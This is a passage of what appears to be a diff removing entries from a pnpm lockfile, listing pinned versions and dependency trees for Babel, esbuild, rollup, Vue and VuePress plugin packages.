'@babel/plugin-transform-optional-catch-binding': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-transform-optional-chaining': 7.24.8(@babel/core@7.24.9) - '@babel/plugin-transform-parameters': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-transform-private-methods': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-transform-private-property-in-object': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-transform-property-literals': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-transform-regenerator': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-transform-reserved-words': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-transform-shorthand-properties': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-transform-spread': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-transform-sticky-regex': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-transform-template-literals': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-transform-typeof-symbol': 7.24.8(@babel/core@7.24.9) - '@babel/plugin-transform-unicode-escapes': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-transform-unicode-property-regex': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-transform-unicode-regex': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-transform-unicode-sets-regex': 7.24.7(@babel/core@7.24.9) - '@babel/preset-modules': 0.1.6-no-external-plugins(@babel/core@7.24.9) - babel-plugin-polyfill-corejs2: 0.4.11(@babel/core@7.24.9) - babel-plugin-polyfill-corejs3: 0.10.4(@babel/core@7.24.9) - babel-plugin-polyfill-regenerator: 0.6.2(@babel/core@7.24.9) - core-js-compat: 3.37.1 - semver: 6.3.1 - transitivePeerDependencies: - - supports-color - - '@babel/preset-modules@0.1.6-no-external-plugins(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - '@babel/types': 7.24.9 - esutils: 2.0.3 - - '@babel/regjsgen@0.8.0': {} - - '@babel/runtime@7.24.8': - dependencies: - regenerator-runtime: 0.14.1 - - '@babel/template@7.24.7': - dependencies: - '@babel/code-frame': 7.24.7 - '@babel/parser': 7.24.8 - '@babel/types': 7.24.9 - - '@babel/traverse@7.24.8': - dependencies: - '@babel/code-frame': 7.24.7 - '@babel/generator': 7.24.10 - '@babel/helper-environment-visitor': 7.24.7 - '@babel/helper-function-name': 7.24.7 - '@babel/helper-hoist-variables': 7.24.7 - '@babel/helper-split-export-declaration': 7.24.7 - '@babel/parser': 7.24.8 - '@babel/types': 7.24.9 - debug: 4.3.5 - globals: 11.12.0 - transitivePeerDependencies: - - supports-color - - '@babel/types@7.24.9': - dependencies: - '@babel/helper-string-parser': 7.24.8 - '@babel/helper-validator-identifier': 7.24.7 - to-fast-properties: 2.0.0 - - '@docsearch/css@3.6.1': {} - - '@docsearch/js@3.6.1(@algolia/client-search@4.24.0)(search-insights@2.15.0)': - dependencies: - '@docsearch/react': 3.6.1(@algolia/client-search@4.24.0)(search-insights@2.15.0) - preact: 10.23.1 - transitivePeerDependencies: - - '@algolia/client-search' - - '@types/react' - - react - - react-dom - - search-insights - - '@docsearch/react@3.6.1(@algolia/client-search@4.24.0)(search-insights@2.15.0)': - dependencies: - '@algolia/autocomplete-core': 1.9.3(@algolia/client-search@4.24.0)(algoliasearch@4.24.0)(search-insights@2.15.0) - '@algolia/autocomplete-preset-algolia': 1.9.3(@algolia/client-search@4.24.0)(algoliasearch@4.24.0) - '@docsearch/css': 3.6.1 - algoliasearch: 4.24.0 - optionalDependencies: - search-insights: 2.15.0 - transitivePeerDependencies: - - '@algolia/client-search' - - '@esbuild/aix-ppc64@0.21.5': - optional: true - - '@esbuild/android-arm64@0.21.5': - optional: true - - '@esbuild/android-arm@0.21.5': - optional: true - - '@esbuild/android-x64@0.21.5': - optional: true - - '@esbuild/darwin-arm64@0.21.5': - optional: true - - '@esbuild/darwin-x64@0.21.5': - optional: true - - '@esbuild/freebsd-arm64@0.21.5': - optional: true - - '@esbuild/freebsd-x64@0.21.5': - optional: true - - '@esbuild/linux-arm64@0.21.5': - optional: true - - '@esbuild/linux-arm@0.21.5': - optional: true - - '@esbuild/linux-ia32@0.21.5': - optional: true - - '@esbuild/linux-loong64@0.21.5': - optional: true - - '@esbuild/linux-mips64el@0.21.5': - optional: true - - '@esbuild/linux-ppc64@0.21.5': - optional: true - - '@esbuild/linux-riscv64@0.21.5': - optional: true - - '@esbuild/linux-s390x@0.21.5': - optional: true - - '@esbuild/linux-x64@0.21.5': - optional: true - - '@esbuild/netbsd-x64@0.21.5': - optional: true - - '@esbuild/openbsd-x64@0.21.5': - optional: true - - '@esbuild/sunos-x64@0.21.5': - optional: true - - '@esbuild/win32-arm64@0.21.5': - optional: true - - '@esbuild/win32-ia32@0.21.5': - optional: true - - '@esbuild/win32-x64@0.21.5': - optional: true - - '@jridgewell/gen-mapping@0.3.5': - dependencies: - '@jridgewell/set-array': 1.2.1 - '@jridgewell/sourcemap-codec': 1.5.0 - '@jridgewell/trace-mapping': 0.3.25 - - '@jridgewell/resolve-uri@3.1.2': {} - - '@jridgewell/set-array@1.2.1': {} - - '@jridgewell/source-map@0.3.6': - dependencies: - '@jridgewell/gen-mapping': 0.3.5 - '@jridgewell/trace-mapping': 0.3.25 - - '@jridgewell/sourcemap-codec@1.5.0': {} - - '@jridgewell/trace-mapping@0.3.25': - dependencies: - '@jridgewell/resolve-uri': 3.1.2 - '@jridgewell/sourcemap-codec': 1.5.0 - - '@lit-labs/ssr-dom-shim@1.2.0': {} - - '@lit/reactive-element@2.0.4': - dependencies: - '@lit-labs/ssr-dom-shim': 1.2.0 - - '@mdit-vue/plugin-component@2.1.3': - dependencies: - '@types/markdown-it': 14.1.2 - markdown-it: 14.1.0 - - '@mdit-vue/plugin-frontmatter@2.1.3': - dependencies: - '@mdit-vue/types': 2.1.0 - '@types/markdown-it': 14.1.2 - gray-matter: 4.0.3 - markdown-it: 14.1.0 - - '@mdit-vue/plugin-headers@2.1.3': - dependencies: - '@mdit-vue/shared': 2.1.3 - '@mdit-vue/types': 2.1.0 - '@types/markdown-it': 14.1.2 - markdown-it: 14.1.0 - - '@mdit-vue/plugin-sfc@2.1.3': - dependencies: - '@mdit-vue/types': 2.1.0 - '@types/markdown-it': 14.1.2 - markdown-it: 14.1.0 - - '@mdit-vue/plugin-title@2.1.3': - dependencies: - '@mdit-vue/shared': 2.1.3 - '@mdit-vue/types': 2.1.0 - '@types/markdown-it': 14.1.2 - markdown-it: 14.1.0 - - '@mdit-vue/plugin-toc@2.1.3': - dependencies: - '@mdit-vue/shared': 2.1.3 - '@mdit-vue/types': 2.1.0 - '@types/markdown-it': 14.1.2 - markdown-it: 14.1.0 - - '@mdit-vue/shared@2.1.3': - dependencies: - '@mdit-vue/types': 2.1.0 - '@types/markdown-it': 14.1.2 - markdown-it: 14.1.0 - - '@mdit-vue/types@2.1.0': {} - - '@mdit/plugin-alert@0.12.0(markdown-it@14.1.0)': - dependencies: - '@types/markdown-it': 14.1.2 - optionalDependencies: - markdown-it: 14.1.0 - - '@mdit/plugin-align@0.12.0(markdown-it@14.1.0)': - dependencies: - '@mdit/plugin-container': 0.12.0(markdown-it@14.1.0) - '@types/markdown-it': 14.1.2 - optionalDependencies: - markdown-it: 14.1.0 - - '@mdit/plugin-attrs@0.12.0(markdown-it@14.1.0)': - dependencies: - '@types/markdown-it': 14.1.2 - optionalDependencies: - markdown-it: 14.1.0 - - '@mdit/plugin-container@0.12.0(markdown-it@14.1.0)': - dependencies: - '@types/markdown-it': 14.1.2 - optionalDependencies: - markdown-it: 14.1.0 - - '@mdit/plugin-demo@0.12.0(markdown-it@14.1.0)': - dependencies: - '@types/markdown-it': 14.1.2 - optionalDependencies: - markdown-it: 14.1.0 - - '@mdit/plugin-figure@0.12.0(markdown-it@14.1.0)': - dependencies: - '@types/markdown-it': 14.1.2 - optionalDependencies: - markdown-it: 14.1.0 - - '@mdit/plugin-footnote@0.12.0(markdown-it@14.1.0)': - dependencies: - '@types/markdown-it': 14.1.2 - markdown-it: 14.1.0 - - '@mdit/plugin-img-lazyload@0.12.0(markdown-it@14.1.0)': - dependencies: - '@types/markdown-it': 14.1.2 - optionalDependencies: - markdown-it: 14.1.0 - - '@mdit/plugin-img-mark@0.12.0(markdown-it@14.1.0)': - dependencies: - '@types/markdown-it': 14.1.2 - optionalDependencies: - markdown-it: 14.1.0 - - '@mdit/plugin-img-size@0.12.0(markdown-it@14.1.0)': - dependencies: - '@types/markdown-it': 14.1.2 - optionalDependencies: - markdown-it: 14.1.0 - - '@mdit/plugin-include@0.12.0(markdown-it@14.1.0)': - dependencies: - '@types/markdown-it': 14.1.2 - upath: 2.0.1 - optionalDependencies: - markdown-it: 14.1.0 - - '@mdit/plugin-katex-slim@0.12.0(markdown-it@14.1.0)': - dependencies: - '@mdit/plugin-tex': 0.12.0(markdown-it@14.1.0) - '@types/katex': 0.16.7 - '@types/markdown-it': 14.1.2 - optionalDependencies: - markdown-it: 14.1.0 - - '@mdit/plugin-mark@0.12.0(markdown-it@14.1.0)': - dependencies: - '@types/markdown-it': 14.1.2 - optionalDependencies: - markdown-it: 14.1.0 - - '@mdit/plugin-mathjax-slim@0.12.0(markdown-it@14.1.0)(mathjax-full@3.2.2)': - dependencies: - '@mdit/plugin-tex': 0.12.0(markdown-it@14.1.0) - '@types/markdown-it': 14.1.2 - upath: 2.0.1 - optionalDependencies: - markdown-it: 14.1.0 - mathjax-full: 3.2.2 - - '@mdit/plugin-plantuml@0.12.0(markdown-it@14.1.0)': - dependencies: - '@mdit/plugin-uml': 0.12.0(markdown-it@14.1.0) - '@types/markdown-it': 14.1.2 - optionalDependencies: - markdown-it: 14.1.0 - - '@mdit/plugin-spoiler@0.12.0(markdown-it@14.1.0)': - dependencies: - '@types/markdown-it': 14.1.2 - optionalDependencies: - markdown-it: 14.1.0 - - '@mdit/plugin-stylize@0.12.0(markdown-it@14.1.0)': - dependencies: - '@types/markdown-it': 14.1.2 - optionalDependencies: - markdown-it: 14.1.0 - - '@mdit/plugin-sub@0.12.0(markdown-it@14.1.0)': - dependencies: - '@types/markdown-it': 14.1.2 - optionalDependencies: - markdown-it: 14.1.0 - - '@mdit/plugin-sup@0.12.0(markdown-it@14.1.0)': - dependencies: - '@types/markdown-it': 14.1.2 - optionalDependencies: - markdown-it: 14.1.0 - - '@mdit/plugin-tab@0.12.0(markdown-it@14.1.0)': - dependencies: - '@types/markdown-it': 14.1.2 - optionalDependencies: - markdown-it: 14.1.0 - - '@mdit/plugin-tasklist@0.12.0(markdown-it@14.1.0)': - dependencies: - '@types/markdown-it': 14.1.2 - optionalDependencies: - markdown-it: 14.1.0 - - '@mdit/plugin-tex@0.12.0(markdown-it@14.1.0)': - dependencies: - '@types/markdown-it': 14.1.2 - optionalDependencies: - markdown-it: 14.1.0 - - '@mdit/plugin-uml@0.12.0(markdown-it@14.1.0)': - dependencies: - '@types/markdown-it': 14.1.2 - optionalDependencies: - markdown-it: 14.1.0 - - '@nodelib/fs.scandir@2.1.5': - dependencies: - '@nodelib/fs.stat': 2.0.5 - run-parallel: 1.2.0 - - '@nodelib/fs.stat@2.0.5': {} - - '@nodelib/fs.walk@1.2.8': - dependencies: - '@nodelib/fs.scandir': 2.1.5 - fastq: 1.17.1 - - '@rollup/plugin-babel@5.3.1(@babel/core@7.24.9)(rollup@2.79.1)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-module-imports': 7.24.7 - '@rollup/pluginutils': 3.1.0(rollup@2.79.1) - rollup: 2.79.1 - transitivePeerDependencies: - - supports-color - - '@rollup/plugin-node-resolve@15.2.3(rollup@2.79.1)': - dependencies: - '@rollup/pluginutils': 5.1.0(rollup@2.79.1) - '@types/resolve': 1.20.2 - deepmerge: 4.3.1 - is-builtin-module: 3.2.1 - is-module: 1.0.0 - resolve: 1.22.8 - optionalDependencies: - rollup: 2.79.1 - - '@rollup/plugin-replace@2.4.2(rollup@2.79.1)': - dependencies: - '@rollup/pluginutils': 3.1.0(rollup@2.79.1) - magic-string: 0.25.9 - rollup: 2.79.1 - - '@rollup/plugin-terser@0.4.4(rollup@2.79.1)': - dependencies: - serialize-javascript: 6.0.2 - smob: 1.5.0 - terser: 5.31.3 - optionalDependencies: - rollup: 2.79.1 - - '@rollup/pluginutils@3.1.0(rollup@2.79.1)': - dependencies: - '@types/estree': 0.0.39 - estree-walker: 1.0.1 - picomatch: 2.3.1 - rollup: 2.79.1 - - '@rollup/pluginutils@5.1.0(rollup@2.79.1)': - dependencies: - '@types/estree': 1.0.5 - estree-walker: 2.0.2 - picomatch: 2.3.1 - optionalDependencies: - rollup: 2.79.1 - - '@rollup/rollup-android-arm-eabi@4.19.0': - optional: true - - '@rollup/rollup-android-arm64@4.19.0': - optional: true - - '@rollup/rollup-darwin-arm64@4.19.0': - optional: true - - '@rollup/rollup-darwin-x64@4.19.0': - optional: true - - '@rollup/rollup-linux-arm-gnueabihf@4.19.0': - optional: true - - '@rollup/rollup-linux-arm-musleabihf@4.19.0': - optional: true - - '@rollup/rollup-linux-arm64-gnu@4.19.0': - optional: true - - '@rollup/rollup-linux-arm64-musl@4.19.0': - optional: true - - '@rollup/rollup-linux-powerpc64le-gnu@4.19.0': - optional: true - - '@rollup/rollup-linux-riscv64-gnu@4.19.0': - optional: true - - '@rollup/rollup-linux-s390x-gnu@4.19.0': - optional: true - - '@rollup/rollup-linux-x64-gnu@4.19.0': - optional: true - - '@rollup/rollup-linux-x64-musl@4.19.0': - optional: true - - '@rollup/rollup-win32-arm64-msvc@4.19.0': - optional: true - - '@rollup/rollup-win32-ia32-msvc@4.19.0': - optional: true - - '@rollup/rollup-win32-x64-msvc@4.19.0': - optional: true - - '@sec-ant/readable-stream@0.4.1': {} - - '@shikijs/core@1.11.1': - dependencies: - '@types/hast': 3.0.4 - - '@shikijs/transformers@1.11.1': - dependencies: - shiki: 1.11.1 - - '@sindresorhus/merge-streams@2.3.0': {} - - '@sindresorhus/merge-streams@4.0.0': {} - - '@stackblitz/sdk@1.11.0': {} - - '@surma/rollup-plugin-off-main-thread@2.2.3': - dependencies: - ejs: 3.1.10 - json5: 2.2.3 - magic-string: 0.25.9 - string.prototype.matchall: 4.0.11 - - '@types/debug@4.1.12': - dependencies: - '@types/ms': 0.7.34 - - '@types/estree@0.0.39': {} - - '@types/estree@1.0.5': {} - - '@types/fs-extra@11.0.4': - dependencies: - '@types/jsonfile': 6.1.4 - '@types/node': 20.14.12 - - '@types/hash-sum@1.0.2': {} - - '@types/hast@3.0.4': - dependencies: - '@types/unist': 3.0.2 - - '@types/jsonfile@6.1.4': - dependencies: - '@types/node': 20.14.12 - - '@types/katex@0.16.7': {} - - '@types/linkify-it@5.0.0': {} - - '@types/markdown-it-emoji@3.0.1': - dependencies: - '@types/markdown-it': 14.1.2 - - '@types/markdown-it@14.1.2': - dependencies: - '@types/linkify-it': 5.0.0 - '@types/mdurl': 2.0.0 - - '@types/mdurl@2.0.0': {} - - '@types/ms@0.7.34': {} - - '@types/node@17.0.45': {} - - '@types/node@20.14.12': - dependencies: - undici-types: 5.26.5 - - '@types/resolve@1.20.2': {} - - '@types/sax@1.2.7': - dependencies: - '@types/node': 17.0.45 - - '@types/trusted-types@2.0.7': {} - - '@types/unist@3.0.2': {} - - '@types/web-bluetooth@0.0.20': {} - - '@vitejs/plugin-vue@5.1.0(vite@5.3.4(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)': - dependencies: - vite: 5.3.4(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3) - vue: 3.4.34 - - '@vue/compiler-core@3.4.34': - dependencies: - '@babel/parser': 7.24.8 - '@vue/shared': 3.4.34 - entities: 4.5.0 - estree-walker: 2.0.2 - source-map-js: 1.2.0 - - '@vue/compiler-dom@3.4.34': - dependencies: - '@vue/compiler-core': 3.4.34 - '@vue/shared': 3.4.34 - - '@vue/compiler-sfc@3.4.34': - dependencies: - '@babel/parser': 7.24.8 - '@vue/compiler-core': 3.4.34 - '@vue/compiler-dom': 3.4.34 - '@vue/compiler-ssr': 3.4.34 - '@vue/shared': 3.4.34 - estree-walker: 2.0.2 - magic-string: 0.30.10 - postcss: 8.4.40 - source-map-js: 1.2.0 - - '@vue/compiler-ssr@3.4.34': - dependencies: - '@vue/compiler-dom': 3.4.34 - '@vue/shared': 3.4.34 - - '@vue/devtools-api@6.6.3': {} - - '@vue/reactivity@3.4.34': - dependencies: - '@vue/shared': 3.4.34 - - '@vue/runtime-core@3.4.34': - dependencies: - '@vue/reactivity': 3.4.34 - '@vue/shared': 3.4.34 - - '@vue/runtime-dom@3.4.34': - dependencies: - '@vue/reactivity': 3.4.34 - '@vue/runtime-core': 3.4.34 - '@vue/shared': 3.4.34 - csstype: 3.1.3 - - '@vue/server-renderer@3.4.34(vue@3.4.34)': - dependencies: - '@vue/compiler-ssr': 3.4.34 - '@vue/shared': 3.4.34 - vue: 3.4.34 - - '@vue/shared@3.4.34': {} - - '@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3)': - dependencies: - '@vitejs/plugin-vue': 5.1.0(vite@5.3.4(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34) - '@vuepress/client': 2.0.0-rc.14 - '@vuepress/core': 2.0.0-rc.14 - '@vuepress/shared': 2.0.0-rc.14 - '@vuepress/utils': 2.0.0-rc.14 - autoprefixer: 10.4.19(postcss@8.4.40) - connect-history-api-fallback: 2.0.0 - postcss: 8.4.40 - postcss-load-config: 6.0.1(postcss@8.4.40) - rollup: 4.19.0 - vite: 5.3.4(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3) - vue: 3.4.34 - vue-router: 4.4.0(vue@3.4.34) - transitivePeerDependencies: - - '@types/node' - - jiti - - less - - lightningcss - - sass - - stylus - - sugarss - - supports-color - - terser - - tsx - - typescript - - yaml - - '@vuepress/cli@2.0.0-rc.14': - dependencies: - '@vuepress/core': 2.0.0-rc.14 - '@vuepress/shared': 2.0.0-rc.14 - '@vuepress/utils': 2.0.0-rc.14 - cac: 6.7.14 - chokidar: 3.6.0 - envinfo: 7.13.0 - esbuild: 0.21.5 - transitivePeerDependencies: - - supports-color - - typescript - - '@vuepress/client@2.0.0-rc.14': - dependencies: - '@vue/devtools-api': 6.6.3 - '@vuepress/shared': 2.0.0-rc.14 - vue: 3.4.34 - vue-router: 4.4.0(vue@3.4.34) - transitivePeerDependencies: - - typescript - - '@vuepress/core@2.0.0-rc.14': - dependencies: - '@vuepress/client': 2.0.0-rc.14 - '@vuepress/markdown': 2.0.0-rc.14 - '@vuepress/shared': 2.0.0-rc.14 - '@vuepress/utils': 2.0.0-rc.14 - vue: 3.4.34 - transitivePeerDependencies: - - supports-color - - typescript - - '@vuepress/helper@2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))': - dependencies: - '@vue/shared': 3.4.34 - cheerio: 1.0.0-rc.12 - fflate: 0.8.2 - gray-matter: 4.0.3 - vue: 3.4.34 - vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34) - transitivePeerDependencies: - - typescript - - '@vuepress/helper@2.0.0-rc.40(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))': - dependencies: - '@vue/shared': 3.4.34 - cheerio: 1.0.0-rc.12 - fflate: 0.8.2 - gray-matter: 4.0.3 - vue: 3.4.34 - vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34) - transitivePeerDependencies: - - typescript - - '@vuepress/highlighter-helper@2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))': - dependencies: - vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34) - - '@vuepress/markdown@2.0.0-rc.14': - dependencies: - '@mdit-vue/plugin-component': 2.1.3 - '@mdit-vue/plugin-frontmatter': 2.1.3 - '@mdit-vue/plugin-headers': 2.1.3 - '@mdit-vue/plugin-sfc': 2.1.3 - '@mdit-vue/plugin-title': 2.1.3 - '@mdit-vue/plugin-toc': 2.1.3 - '@mdit-vue/shared': 2.1.3 - '@mdit-vue/types': 2.1.0 - '@types/markdown-it': 14.1.2 - '@types/markdown-it-emoji': 3.0.1 - '@vuepress/shared': 2.0.0-rc.14 - '@vuepress/utils': 2.0.0-rc.14 - markdown-it: 14.1.0 - markdown-it-anchor: 9.0.1(@types/markdown-it@14.1.2)(markdown-it@14.1.0) - markdown-it-emoji: 3.0.0 - mdurl: 2.0.0 - transitivePeerDependencies: - - supports-color - - '@vuepress/plugin-active-header-links@2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))': - dependencies: - '@vueuse/core': 10.11.0(vue@3.4.34) - vue: 3.4.34 - vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34) - transitivePeerDependencies: - - '@vue/composition-api' - - typescript - - '@vuepress/plugin-back-to-top@2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))': - dependencies: - '@vuepress/helper': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - '@vueuse/core': 10.11.0(vue@3.4.34) - vue: 3.4.34 - vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34) - transitivePeerDependencies: - - '@vue/composition-api' - - typescript - - '@vuepress/plugin-blog@2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))': - dependencies: - '@vuepress/helper': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - chokidar: 3.6.0 - vue: 3.4.34 - vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34) - transitivePeerDependencies: - - typescript - - '@vuepress/plugin-catalog@2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))': - dependencies: - '@vuepress/helper': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - vue: 3.4.34 - vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34) - transitivePeerDependencies: - - typescript - - '@vuepress/plugin-comment@2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))': - dependencies: - '@vuepress/helper': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - giscus: 1.5.0 - vue: 3.4.34 - vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34) - transitivePeerDependencies: - - typescript - - '@vuepress/plugin-copy-code@2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))': - dependencies: - '@vuepress/helper': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - '@vueuse/core': 10.11.0(vue@3.4.34) - vue: 3.4.34 - vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34) - transitivePeerDependencies: - - '@vue/composition-api' - - typescript - - '@vuepress/plugin-copyright@2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))': - dependencies: - '@vuepress/helper': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - '@vueuse/core': 10.11.0(vue@3.4.34) - vue: 3.4.34 - vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34) - transitivePeerDependencies: - - '@vue/composition-api' - - typescript - - '@vuepress/plugin-docsearch@2.0.0-rc.40(@algolia/client-search@4.24.0)(search-insights@2.15.0)(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))': - dependencies: - '@docsearch/css': 3.6.1 - '@docsearch/js': 3.6.1(@algolia/client-search@4.24.0)(search-insights@2.15.0) - '@docsearch/react': 3.6.1(@algolia/client-search@4.24.0)(search-insights@2.15.0) - '@vuepress/helper': 2.0.0-rc.40(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - '@vueuse/core': 10.11.0(vue@3.4.34) - ts-debounce: 4.0.0 - vue: 3.4.34 - vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34) - transitivePeerDependencies: - - '@algolia/client-search' - - '@types/react' - - '@vue/composition-api' - - react - - react-dom - - search-insights - - typescript - - '@vuepress/plugin-git@2.0.0-rc.38(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))': - dependencies: - execa: 9.3.0 - vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34) - - '@vuepress/plugin-links-check@2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))': - dependencies: - '@vuepress/helper': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34) - transitivePeerDependencies: - - typescript - - '@vuepress/plugin-notice@2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))': - dependencies: - '@vuepress/helper': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - '@vueuse/core': 10.11.0(vue@3.4.34) - vue: 3.4.34 - vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34) - transitivePeerDependencies: - - '@vue/composition-api' - - typescript - - '@vuepress/plugin-nprogress@2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))': - dependencies: - vue: 3.4.34 - vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34) - transitivePeerDependencies: - - typescript - - '@vuepress/plugin-photo-swipe@2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))': - dependencies: - '@vuepress/helper': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - '@vueuse/core': 10.11.0(vue@3.4.34) - photoswipe: 